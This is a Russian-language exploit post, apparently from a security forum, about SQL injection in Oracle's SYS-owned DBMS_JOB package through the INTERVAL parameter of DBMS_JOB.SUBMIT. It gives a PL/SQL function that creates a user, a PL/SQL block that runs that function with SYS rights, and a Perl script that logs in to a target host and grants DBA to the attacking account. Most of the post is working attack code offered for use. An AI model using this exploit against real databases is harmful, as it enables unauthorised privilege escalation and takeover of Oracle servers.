Делать было нечего дело было вечером Не люблю много писать так что по порядку, искал функцию уязвимую к sql-injection под свои нужды, наткнулся на таковую в пакете dbms_job который принадлежит sys пользователю, функция find_date Code: ... 30 CUR := DBMS_SQL.OPEN_CURSOR; 31 BEGIN 32 33 DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL || 34 ' from dual', DBMS_SQL.NATIVE ); ... Уязвим параметр INTERVAL, но тут проблема функция не обьявлена в пакете то есть иё можно использовать только внутри пакета, под мои нужды это не подходит мб кому-то и подойдет . Но чтоб довести дело до победного конца нашел процедуру в пакете которая эту функцию использует, она там не одна но так как мне эта функция не подошла я взял первую попавшуюся Code: ... 134 MYDATE := FIND_DATE(INTERVAL); 135 IF NOT NO_PARSE THEN 136 PARSE_JOB(WHAT); 137 END IF; 138 ... 1. Создаем функцию, можно использовать и курсор но я предпочитаю старую школу Code: CREATE OR REPLACE FUNCTION fff return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'create user fff identified by fff'; COMMIT; RETURN 'sys'; END; / 2. Ну и собственно сам сплоит Code: DECLARE jobNo BINARY_INTEGER; BEGIN jobNo:=4242; dbms_job.submit(jobNo, 'do_job;', TRUNC(SYSDATE+(1/24), 'HH'),'TRUNC(SYSDATE+(30/24/60),''MI'') from dual where chr(115)=sys.fff() --'); END; DB Version: Oracle XE, Oracle 10gR2(возможно и более ранние) OS: Win XP SP3, Solaris(тестировалось только на этом). P.S Шедулер у меня выключен при попытки создать задачу на вин процедура выводила ошибку но функция выполнилась Да процедура isubmit так-же уязвима тем же способом. DSU from Ukrainian Security Community
Perl version. Code: #!/usr/bin/perl use warnings; use strict; use DBI; use Getopt::Std; use vars qw/ %opt /; sub usage { print <<"USAGE"; Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> [-P <port>] Options: -h <host> target server address -s <sid> target sid name -u <user> user -p <passwd> password [-P <port> Oracle port] USAGE exit 0 } my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u}; my $dbh = undef; if ($opt{P}) { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; } my $sqlcmd = "GRANT DBA TO $user"; print "[-] Creating function...\n"; $dbh->do( qq{ CREATE OR REPLACE FUNCTION fff return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; COMMIT; RETURN 'sys'; END; } ); print "[-] Go...\n"; my $sth = $dbh->prepare( qq{ DECLARE jobNo BINARY_INTEGER; BEGIN jobNo:=4242; dbms_job.submit(jobNo, 'do_job;', TRUNC(SYSDATE+(1/24), 'HH'),'TRUNC(SYSDATE+(30/24/60),''MI'') from dual where chr(115)=sys.fff() --'); END;}); $sth->execute; $sth->finish; print "[-] Executed\n"; $dbh->disconnect; exit;